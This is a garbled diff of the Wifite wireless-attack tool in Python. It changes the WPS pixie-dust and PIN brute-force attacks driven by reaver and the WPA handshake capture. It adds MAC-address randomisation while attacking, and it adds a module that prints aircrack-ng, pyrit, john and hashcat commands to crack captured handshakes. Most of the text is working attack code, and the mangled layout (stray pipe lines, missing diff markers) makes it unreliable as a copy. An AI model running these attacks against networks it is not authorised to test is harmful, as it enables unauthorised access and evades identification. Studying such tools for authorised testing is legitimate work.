Color.p('\r{+} {C}WPA-handshake attack{W}: ')
|
Color.pattack("WPA", airodump_target, "Handshake capture", "Waiting for handshake...")
|
||||||
Color.p('waiting for {C}handshake{W}...')
|
#Color.p('\r{+} {C}WPA-handshake attack{W}: ')
|
||||||
|
#Color.p('waiting for {C}handshake{W}...')
|
||||||
|
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
@@ -97,8 +96,8 @@ class AttackWPA(Attack):
|
|||||||
airodump_target = self.wait_for_target(airodump)
|
airodump_target = self.wait_for_target(airodump)
|
||||||
for client in airodump_target.clients:
|
for client in airodump_target.clients:
|
||||||
if client.station not in clients:
|
if client.station not in clients:
|
||||||
Color.pl('\r{+} discovered {G}client{W}:' +
|
Color.clear_entire_line()
|
||||||
' {C}%s{W}%s' % (client.station, ' ' * 10))
|
Color.pl('\r{+} discovered new {G}client{W}: {C}%s{W}' % client.station)
|
||||||
clients.append(client.station)
|
clients.append(client.station)
|
||||||
|
|
||||||
# Send deauth to a client or broadcast
|
# Send deauth to a client or broadcast
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
from Attack import Attack
|
from Attack import Attack
|
||||||
|
from Airodump import Airodump
|
||||||
from Color import Color
|
from Color import Color
|
||||||
from Configuration import Configuration
|
from Configuration import Configuration
|
||||||
from CrackResultWPS import CrackResultWPS
|
from CrackResultWPS import CrackResultWPS
|
||||||
@@ -37,7 +38,7 @@ class AttackWPS(Attack):
|
|||||||
' support the {O}WPS pixie-dust attack{W}')
|
' support the {O}WPS pixie-dust attack{W}')
|
||||||
|
|
||||||
if Configuration.pixie_only:
|
if Configuration.pixie_only:
|
||||||
Color.pl('{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
|
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
|
||||||
self.success = False
|
self.success = False
|
||||||
else:
|
else:
|
||||||
# Run WPS-PIN attack
|
# Run WPS-PIN attack
|
||||||
@@ -58,26 +59,37 @@ class AttackWPS(Attack):
|
|||||||
|
|
||||||
command = [
|
command = [
|
||||||
'reaver',
|
'reaver',
|
||||||
'-i', Configuration.interface,
|
'--interface', Configuration.interface,
|
||||||
'-b', self.target.bssid,
|
'--bssid', self.target.bssid,
|
||||||
'-c', self.target.channel,
|
'--channel', self.target.channel,
|
||||||
'-K', '1', # pixie-dust attack
|
'--pixie-dust', '1', # pixie-dust attack
|
||||||
'-a', # Automatically restart session
|
'--delay', '0',
|
||||||
|
'--no-nacks',
|
||||||
|
'--session', '/dev/null', # Don't restart session
|
||||||
'-vv' # (very) verbose
|
'-vv' # (very) verbose
|
||||||
]
|
]
|
||||||
|
|
||||||
stdout_write = open(self.stdout_file, 'a')
|
stdout_write = open(self.stdout_file, 'a')
|
||||||
|
|
||||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||||
|
|
||||||
pin = None
|
pin = None
|
||||||
step = '0) initializing'
|
step = 'initializing'
|
||||||
time_since_last_step = 0
|
time_since_last_step = 0
|
||||||
|
|
||||||
while True:
|
with Airodump(channel=self.target.channel,
|
||||||
time.sleep(1)
|
target_bssid=self.target.bssid,
|
||||||
|
skip_wash=False,
|
||||||
|
output_file_prefix='pixie') as airodump:
|
||||||
|
|
||||||
Color.clear_line()
|
Color.clear_line()
|
||||||
Color.p('\r{+} {C}WPS pixie-dust attack{W} ')
|
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
airodump_target = self.wait_for_target(airodump)
|
||||||
|
except Exception as e:
|
||||||
|
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
|
||||||
|
Color.pl("")
|
||||||
|
return False
|
||||||
|
|
||||||
stdout_write.flush()
|
stdout_write.flush()
|
||||||
|
|
||||||
@@ -99,15 +111,21 @@ class AttackWPS(Attack):
|
|||||||
if pin and psk and ssid:
|
if pin and psk and ssid:
|
||||||
# We cracked it.
|
# We cracked it.
|
||||||
bssid = self.target.bssid
|
bssid = self.target.bssid
|
||||||
Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
|
Color.clear_line()
|
||||||
|
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
|
||||||
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
|
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
|
||||||
self.crack_result.dump()
|
self.crack_result.dump()
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
# Failed to crack, reaver proces ended.
|
# Failed to crack, reaver proces ended.
|
||||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
Color.clear_line()
|
||||||
|
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
if 'WPS pin not found' in stdout:
|
||||||
|
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||||
|
break
|
||||||
|
|
||||||
last_step = step
|
last_step = step
|
||||||
# Status updates, depending on last line of stdout
|
# Status updates, depending on last line of stdout
|
||||||
if 'Waiting for beacon from' in stdout_last_line:
|
if 'Waiting for beacon from' in stdout_last_line:
|
||||||
@@ -127,15 +145,11 @@ class AttackWPS(Attack):
|
|||||||
elif 'Detected AP rate limiting,' in stdout_last_line:
|
elif 'Detected AP rate limiting,' in stdout_last_line:
|
||||||
if Configuration.wps_skip_rate_limit:
|
if Configuration.wps_skip_rate_limit:
|
||||||
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
|
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
|
||||||
Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
|
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||||
' this kind of failure in the future{W}')
|
' this kind of failure in the future{W}')
|
||||||
break
|
break
|
||||||
step = '({C}step -/8{W}) waiting for AP rate limit'
|
step = '({C}step -/8{W}) waiting for AP rate limit'
|
||||||
|
|
||||||
if 'WPS pin not found' in stdout:
|
|
||||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
|
||||||
break
|
|
||||||
|
|
||||||
if step != last_step:
|
if step != last_step:
|
||||||
# Step changed, reset step timer
|
# Step changed, reset step timer
|
||||||
time_since_last_step = 0
|
time_since_last_step = 0
|
||||||
@@ -161,9 +175,10 @@ class AttackWPS(Attack):
|
|||||||
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
|
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
|
||||||
break
|
break
|
||||||
|
|
||||||
# Display status of Pixie-Dust attack
|
Color.clear_line()
|
||||||
Color.p('{W}%s{W}' % step)
|
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# Attack failed, already printed reason why
|
# Attack failed, already printed reason why
|
||||||
@@ -182,10 +197,10 @@ class AttackWPS(Attack):
|
|||||||
# Start reaver process
|
# Start reaver process
|
||||||
command = [
|
command = [
|
||||||
'reaver',
|
'reaver',
|
||||||
'-i', Configuration.interface,
|
'--interface', Configuration.interface,
|
||||||
'-b', self.target.bssid,
|
'--bssid', self.target.bssid,
|
||||||
'-c', self.target.channel,
|
'--channel', self.target.channel,
|
||||||
'-a', # Automatically restart session
|
'--session', '/dev/null', # Don't restart session
|
||||||
'-vv' # verbose
|
'-vv' # verbose
|
||||||
]
|
]
|
||||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||||
@@ -197,18 +212,32 @@ class AttackWPS(Attack):
|
|||||||
failures = 0
|
failures = 0
|
||||||
state = 'initializing'
|
state = 'initializing'
|
||||||
|
|
||||||
|
with Airodump(channel=self.target.channel,
|
||||||
|
target_bssid=self.target.bssid,
|
||||||
|
skip_wash=False,
|
||||||
|
output_file_prefix='wps') as airodump:
|
||||||
|
|
||||||
|
Color.clear_line()
|
||||||
|
Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
try:
|
||||||
|
airodump_target = self.wait_for_target(airodump)
|
||||||
|
except Exception as e:
|
||||||
|
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
|
||||||
|
Color.pl("")
|
||||||
|
return False
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
percent = 100 * float(pin_current) / float(pin_total)
|
percent = 100 * float(pin_current) / float(pin_total)
|
||||||
Color.clear_line()
|
Color.clear_line()
|
||||||
Color.p('\r{+} {C}WPS PIN attack{W} (')
|
status = '{G}%.2f%% done{W}, ' % percent
|
||||||
Color.p('{G}%.2f%% done{W}, ' % percent)
|
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
|
||||||
Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total))
|
status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
|
||||||
Color.p('{R}%d/%d failures{W}) ' % (failures, \
|
Color.pattack("WPS", airodump_target, "PIN Attack", status)
|
||||||
Configuration.wps_fail_threshold))
|
|
||||||
|
|
||||||
if failures >= Configuration.wps_fail_threshold:
|
if failures >= Configuration.wps_fail_threshold:
|
||||||
Color.pl('{R}failed: {O}too many failures{W}')
|
Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
|
||||||
|
Color.pl("")
|
||||||
break
|
break
|
||||||
|
|
||||||
# Get output
|
# Get output
|
||||||
@@ -273,8 +302,8 @@ class AttackWPS(Attack):
|
|||||||
state = '{R}rate-limited{W}'
|
state = '{R}rate-limited{W}'
|
||||||
if Configuration.wps_skip_rate_limit:
|
if Configuration.wps_skip_rate_limit:
|
||||||
Color.pl(state)
|
Color.pl(state)
|
||||||
Color.pl('{!} {R}hit rate limit, stopping{W}\n')
|
Color.pl('{!} {R}hit rate limit, stopping{W}')
|
||||||
Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
|
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||||
' this kind of failure in the future{W}')
|
' this kind of failure in the future{W}')
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|||||||
20
py/Color.py
20
py/Color.py
@@ -21,7 +21,7 @@ class Color(object):
|
|||||||
# Helper string replacements
|
# Helper string replacements
|
||||||
replacements = {
|
replacements = {
|
||||||
'{+}': ' {W}[{G}+{W}]',
|
'{+}': ' {W}[{G}+{W}]',
|
||||||
'{!}': ' {W}[{R}!{W}]'
|
'{!}': ' {O}[{R}!{O}]{W}'
|
||||||
}
|
}
|
||||||
|
|
||||||
last_sameline_length = 0
|
last_sameline_length = 0
|
||||||
@@ -74,6 +74,24 @@ class Color(object):
|
|||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
Color.last_sameline_length = 0
|
Color.last_sameline_length = 0
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def clear_entire_line():
|
||||||
|
import os
|
||||||
|
(rows, columns) = os.popen('stty size', 'r').read().split()
|
||||||
|
Color.p("\r" + (" " * int(columns)) + "\r")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def pattack(attack_type, target, attack_name, progress):
|
||||||
|
'''
|
||||||
|
Prints a one-liner for an attack
|
||||||
|
Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress
|
||||||
|
[name] ESSID (MAC @ Pwr) Attack_Type: Progress
|
||||||
|
e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs
|
||||||
|
'''
|
||||||
|
essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}"
|
||||||
|
Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % (
|
||||||
|
essid, target.bssid, target.power, attack_type, attack_name, progress))
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
|
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
|
||||||
print Color.s("{C}Testing{P}String{W}")
|
print Color.s("{C}Testing{P}String{W}")
|
||||||
|
|||||||
@@ -2,11 +2,13 @@
|
|||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
from Color import Color
|
from Color import Color
|
||||||
|
from Macchanger import Macchanger
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
class Configuration(object):
|
class Configuration(object):
|
||||||
''' Stores configuration variables and functions for Wifite. '''
|
''' Stores configuration variables and functions for Wifite. '''
|
||||||
|
verbose = 0
|
||||||
|
|
||||||
initialized = False # Flag indicating config has been initialized
|
initialized = False # Flag indicating config has been initialized
|
||||||
temp_dir = None # Temporary directory
|
temp_dir = None # Temporary directory
|
||||||
@@ -33,6 +35,7 @@ class Configuration(object):
|
|||||||
Configuration.target_bssid = None # User-defined AP BSSID
|
Configuration.target_bssid = None # User-defined AP BSSID
|
||||||
Configuration.five_ghz = False # Scan 5Ghz channels
|
Configuration.five_ghz = False # Scan 5Ghz channels
|
||||||
Configuration.pillage = False # "All" mode to attack everything
|
Configuration.pillage = False # "All" mode to attack everything
|
||||||
|
Configuration.random_mac = False
|
||||||
|
|
||||||
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
|
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
|
||||||
|
|
||||||
@@ -59,7 +62,8 @@ class Configuration(object):
|
|||||||
Configuration.wordlist = None
|
Configuration.wordlist = None
|
||||||
wordlists = [
|
wordlists = [
|
||||||
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
|
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
|
||||||
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
|
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
|
||||||
|
'/usr/share/wordlists/fern-wifi/common.txt'
|
||||||
]
|
]
|
||||||
for wlist in wordlists:
|
for wlist in wordlists:
|
||||||
if os.path.exists(wlist):
|
if os.path.exists(wlist):
|
||||||
@@ -82,6 +86,7 @@ class Configuration(object):
|
|||||||
# Commands
|
# Commands
|
||||||
Configuration.show_cracked = False
|
Configuration.show_cracked = False
|
||||||
Configuration.check_handshake = None
|
Configuration.check_handshake = None
|
||||||
|
Configuration.crack_handshake = False
|
||||||
|
|
||||||
# Overwrite config values with arguments (if defined)
|
# Overwrite config values with arguments (if defined)
|
||||||
Configuration.load_from_arguments()
|
Configuration.load_from_arguments()
|
||||||
@@ -96,6 +101,8 @@ class Configuration(object):
|
|||||||
# Interface wasn't defined, select it!
|
# Interface wasn't defined, select it!
|
||||||
from Airmon import Airmon
|
from Airmon import Airmon
|
||||||
Configuration.interface = Airmon.ask()
|
Configuration.interface = Airmon.ask()
|
||||||
|
if Configuration.random_mac:
|
||||||
|
Macchanger.random()
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@@ -104,6 +111,9 @@ class Configuration(object):
|
|||||||
from Arguments import Arguments
|
from Arguments import Arguments
|
||||||
|
|
||||||
args = Arguments(Configuration).args
|
args = Arguments(Configuration).args
|
||||||
|
if args.random_mac:
|
||||||
|
Configuration.random_mac = True
|
||||||
|
Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking')
|
||||||
if args.channel:
|
if args.channel:
|
||||||
Configuration.target_channel = args.channel
|
Configuration.target_channel = args.channel
|
||||||
Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel)
|
Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel)
|
||||||
@@ -244,6 +254,7 @@ class Configuration(object):
|
|||||||
# Commands
|
# Commands
|
||||||
if args.cracked: Configuration.show_cracked = True
|
if args.cracked: Configuration.show_cracked = True
|
||||||
if args.check_handshake: Configuration.check_handshake = args.check_handshake
|
if args.check_handshake: Configuration.check_handshake = args.check_handshake
|
||||||
|
if args.crack_handshake: Configuration.crack_handshake = True
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@@ -276,6 +287,7 @@ class Configuration(object):
|
|||||||
def exit_gracefully(code=0):
|
def exit_gracefully(code=0):
|
||||||
''' Deletes temp and exist with the given code '''
|
''' Deletes temp and exist with the given code '''
|
||||||
Configuration.delete_temp()
|
Configuration.delete_temp()
|
||||||
|
Macchanger.reset_if_changed()
|
||||||
from Airmon import Airmon
|
from Airmon import Airmon
|
||||||
Airmon.stop(Configuration.interface)
|
Airmon.stop(Configuration.interface)
|
||||||
Airmon.put_interfaces_up()
|
Airmon.put_interfaces_up()
|
||||||
|
|||||||
90
py/CrackHandshake.py
Normal file
90
py/CrackHandshake.py
Normal file
@@ -0,0 +1,90 @@
|
|||||||
|
#!/usr/bin/python2.7
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from Process import Process
|
||||||
|
from Color import Color
|
||||||
|
from Configuration import Configuration
|
||||||
|
from CrackResult import CrackResult
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
class CrackHandshake(object):
|
||||||
|
def __init__(self):
|
||||||
|
self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
|
||||||
|
|
||||||
|
handshake = self.choose_handshake()
|
||||||
|
self.crack_handshake(handshake)
|
||||||
|
|
||||||
|
def crack_handshake(self, handshake):
|
||||||
|
cap_file = os.path.realpath(handshake["handshake_file"])
|
||||||
|
Color.pl("{+} Different ways to crack {C}%s{W}:" % cap_file)
|
||||||
|
self.print_aircrack(cap_file)
|
||||||
|
self.print_pyrit(cap_file)
|
||||||
|
self.print_john(cap_file)
|
||||||
|
self.print_oclhashcat(cap_file)
|
||||||
|
Color.pl("")
|
||||||
|
# TODO: cowpatty, oclhashcat
|
||||||
|
|
||||||
|
def print_aircrack(self, cap_file):
|
||||||
|
if not Process.exists("aircrack-ng"): return
|
||||||
|
Color.pl("\n {O}# AIRCRACK: CPU-based cracking. Slow.")
|
||||||
|
Color.pl(" {G}aircrack-ng {W}-a 2 -w {C}%s %s{W}" % (self.wordlist, cap_file))
|
||||||
|
|
||||||
|
def print_pyrit(self, cap_file):
|
||||||
|
if not Process.exists("pyrit"): return
|
||||||
|
Color.pl("\n {O}# PYRIT: GPU-based cracking. Fast.")
|
||||||
|
Color.pl(" {G}pyrit {W}-i {C}%s {W}-r {C}%s {W}attack_passthrough{W}" % (self.wordlist, cap_file))
|
||||||
|
|
||||||
|
def print_john(self, cap_file):
|
||||||
|
if not Process.exists("pyrit"): return
|
||||||
|
Color.pl("\n {O}# JOHN: CPU or GPU-based cracking. Fast.")
|
||||||
|
Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
|
||||||
|
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
|
||||||
|
Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
|
||||||
|
Color.pl(" {G}hccap2john {W}hccap.hccap > hccap.john{W}")
|
||||||
|
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist))
|
||||||
|
|
||||||
|
def print_oclhashcat(self, cap_file):
|
||||||
|
if not Process.exists("hashcat"): return
|
||||||
|
Color.pl("\n {O}# OCLHASHCAT: GPU-based cracking. Fast.")
|
||||||
|
# TODO: Generate hccapx automatically
|
||||||
|
hccapx_file = "generated.hccapx" #cap_file
|
||||||
|
Color.pl(" {O}# Visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
|
||||||
|
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (self.wordlist, hccapx_file))
|
||||||
|
|
||||||
|
def choose_handshake(self):
|
||||||
|
Color.pl("\n{+} Listing captured handshakes...\n")
|
||||||
|
handshakes = CrackResult.load_all()
|
||||||
|
handshakes = [hs for hs in handshakes if "handshake_file" in hs and os.path.exists(hs["handshake_file"])]
|
||||||
|
if len(handshakes) == 0:
|
||||||
|
raise Exception("No handshakes found in %s" % os.path.realpath(CrackResult.cracked_file))
|
||||||
|
|
||||||
|
# Handshakes Header
|
||||||
|
max_essid_len = max([len(hs["essid"]) for hs in handshakes])
|
||||||
|
Color.p(" NUM")
|
||||||
|
Color.p(" " + "ESSID".ljust(max_essid_len))
|
||||||
|
Color.p(" " + "BSSID".ljust(17))
|
||||||
|
Color.p(" DATE CAPTURED\n")
|
||||||
|
Color.p(" ---")
|
||||||
|
Color.p(" " + ("-" * max_essid_len))
|
||||||
|
Color.p(" " + ("-" * 17))
|
||||||
|
Color.p(" " + ("-" * 19) + "\n")
|
||||||
|
# Print all handshakes
|
||||||
|
for index, hs in enumerate(handshakes):
|
||||||
|
bssid = hs["bssid"]
|
||||||
|
essid = hs["essid"]
|
||||||
|
date = datetime.strftime(datetime.fromtimestamp(hs["date"]), "%Y-%m-%dT%H:%M:%S")
|
||||||
|
Color.p(" {G}%s{W}" % str(index + 1).rjust(3))
|
||||||
|
Color.p(" {C}%s{W}" % essid.ljust(max_essid_len))
|
||||||
|
Color.p(" {C}%s{W}" % bssid)
|
||||||
|
Color.p(" {C}%s{W}\n" % date)
|
||||||
|
# Get number from user
|
||||||
|
hs_index = raw_input(Color.s("\n{+} Select handshake num to crack ({G}1-%d{W}): " % len(handshakes)))
|
||||||
|
if not hs_index.isdigit():
|
||||||
|
raise Exception("Invalid input: %s" % hs_index)
|
||||||
|
hs_index = int(hs_index)
|
||||||
|
if hs_index < 1 or hs_index > len(handshakes):
|
||||||
|
raise Exception("Handshake num must be between 1 and %d" % len(handshakes))
|
||||||
|
|
||||||
|
return handshakes[hs_index - 1]
|
||||||
@@ -41,6 +41,13 @@ class CrackResult(object):
|
|||||||
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
|
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
|
||||||
% (name, len(json)))
|
% (name, len(json)))
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def load_all(cls):
|
||||||
|
if not os.path.exists(cls.cracked_file): return []
|
||||||
|
with open(cls.cracked_file, "r") as json_file:
|
||||||
|
json = loads(json_file.read())
|
||||||
|
return json
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def load(json):
|
def load(json):
|
||||||
''' Returns an instance of the appropriate object given a json instance '''
|
''' Returns an instance of the appropriate object given a json instance '''
|
||||||
|
|||||||
@@ -90,22 +90,24 @@ class Handshake(object):
|
|||||||
cmd = [
|
cmd = [
|
||||||
'tshark',
|
'tshark',
|
||||||
'-r', self.capfile,
|
'-r', self.capfile,
|
||||||
'-R', 'wlan.fc.type_subtype == 0x08',
|
'-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05',
|
||||||
|
'-2', # tshark: -R without -2 is deprecated.
|
||||||
'-n'
|
'-n'
|
||||||
]
|
]
|
||||||
proc = Process(cmd, devnull=False)
|
proc = Process(cmd, devnull=False)
|
||||||
for line in proc.stdout().split('\n'):
|
for line in proc.stdout().split('\n'):
|
||||||
# Extract src, dst, and essid
|
# Extract src, dst, and essid
|
||||||
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
|
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
|
||||||
match = re.search('(%s) -> (%s).*.*SSID=(.*)$'
|
match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$'
|
||||||
% (mac_regex, mac_regex), line)
|
% (mac_regex, mac_regex), line)
|
||||||
if match == None:
|
if match == None:
|
||||||
# Line doesn't contain src, dst, ssid
|
# Line doesn't contain src, dst, ssid
|
||||||
continue
|
continue
|
||||||
(src, dst, essid) = match.groups()
|
(src, dst, essid) = match.groups()
|
||||||
|
if dst.lower() == "ff:ff:ff:ff:ff:ff": continue
|
||||||
if self.bssid:
|
if self.bssid:
|
||||||
# We know the BSSID, only return the ESSID for this BSSID.
|
# We know the BSSID, only return the ESSID for this BSSID.
|
||||||
if self.bssid.lower() == src.lower():
|
if self.bssid.lower() == src.lower() or self.bssid.lower() == dst.lower():
|
||||||
essids.add((src, essid))
|
essids.add((src, essid))
|
||||||
else:
|
else:
|
||||||
# We do not know BSSID, add it.
|
# We do not know BSSID, add it.
|
||||||
@@ -263,7 +265,7 @@ class Handshake(object):
|
|||||||
hit_Target = False
|
hit_Target = False
|
||||||
else:
|
else:
|
||||||
# Line does not contain AccessPoint
|
# Line does not contain AccessPoint
|
||||||
if hit_target and ', good,' in line:
|
if hit_target and ', good' in line:
|
||||||
bssid_essid_pairs.add( (current_bssid, current_essid) )
|
bssid_essid_pairs.add( (current_bssid, current_essid) )
|
||||||
return [x for x in bssid_essid_pairs]
|
return [x for x in bssid_essid_pairs]
|
||||||
|
|
||||||
|
|||||||
@@ -90,7 +90,7 @@ class Interface(object):
|
|||||||
|
|
||||||
output = Process(['ifconfig', iface]).stdout()
|
output = Process(['ifconfig', iface]).stdout()
|
||||||
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
|
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
|
||||||
match = re.search('HWaddr (%s)' % mac_regex, output)
|
match = re.search(' (%s)' % mac_regex, output)
|
||||||
if not match:
|
if not match:
|
||||||
match = re.search('unspec (%s)' % mac_regex, output)
|
match = re.search('unspec (%s)' % mac_regex, output)
|
||||||
if not match:
|
if not match:
|
||||||
|
|||||||
82
py/Macchanger.py
Normal file
82
py/Macchanger.py
Normal file
@@ -0,0 +1,82 @@
|
|||||||
|
#!/usr/bin/python2.7
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from Interface import Interface
|
||||||
|
from Color import Color
|
||||||
|
|
||||||
|
class Macchanger(object):
|
||||||
|
is_init = False
|
||||||
|
is_changed = False
|
||||||
|
original_mac = None
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def init(cls):
|
||||||
|
if cls.is_init: return
|
||||||
|
from Configuration import Configuration
|
||||||
|
iface = Configuration.interface
|
||||||
|
if type(iface) == Interface:
|
||||||
|
iface = iface.name
|
||||||
|
cls.original_mac = Interface.get_mac(iface)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def down_macch_up(cls, macch_option):
|
||||||
|
cls.init()
|
||||||
|
from Process import Process
|
||||||
|
from Configuration import Configuration
|
||||||
|
iface = Configuration.interface
|
||||||
|
|
||||||
|
cmd = ["ifconfig", iface, "down"]
|
||||||
|
Color.clear_entire_line()
|
||||||
|
Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface)
|
||||||
|
ifdown = Process(cmd)
|
||||||
|
ifdown.wait()
|
||||||
|
if ifdown.poll() != 0:
|
||||||
|
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
|
||||||
|
Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
|
||||||
|
return False
|
||||||
|
|
||||||
|
cmd = ["macchanger", macch_option, iface]
|
||||||
|
Color.clear_entire_line()
|
||||||
|
Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface)
|
||||||
|
macch = Process(cmd)
|
||||||
|
macch.wait()
|
||||||
|
if macch.poll() != 0:
|
||||||
|
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
|
||||||
|
Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
|
||||||
|
return False
|
||||||
|
|
||||||
|
cmd = ["ifconfig", iface, "up"]
|
||||||
|
Color.clear_entire_line()
|
||||||
|
Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface)
|
||||||
|
ifup = Process(cmd)
|
||||||
|
ifup.wait()
|
||||||
|
if ifup.poll() != 0:
|
||||||
|
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
|
||||||
|
Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def reset(cls):
|
||||||
|
# --permanent to reset to permanent MAC address
|
||||||
|
if not cls.down_macch_up("-p"): return
|
||||||
|
Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...")
|
||||||
|
from Configuration import Configuration
|
||||||
|
new_mac = Interface.get_mac(Configuration.interface)
|
||||||
|
Color.clear_entire_line()
|
||||||
|
Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def random(cls):
|
||||||
|
# Use --permanent to use random MAC address
|
||||||
|
if not cls.down_macch_up("-r"): return
|
||||||
|
cls.is_changed = True
|
||||||
|
from Configuration import Configuration
|
||||||
|
new_mac = Interface.get_mac(Configuration.interface)
|
||||||
|
Color.clear_entire_line()
|
||||||
|
Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def reset_if_changed(cls):
|
||||||
|
if not cls.is_changed: return
|
||||||
|
cls.reset()
|
||||||
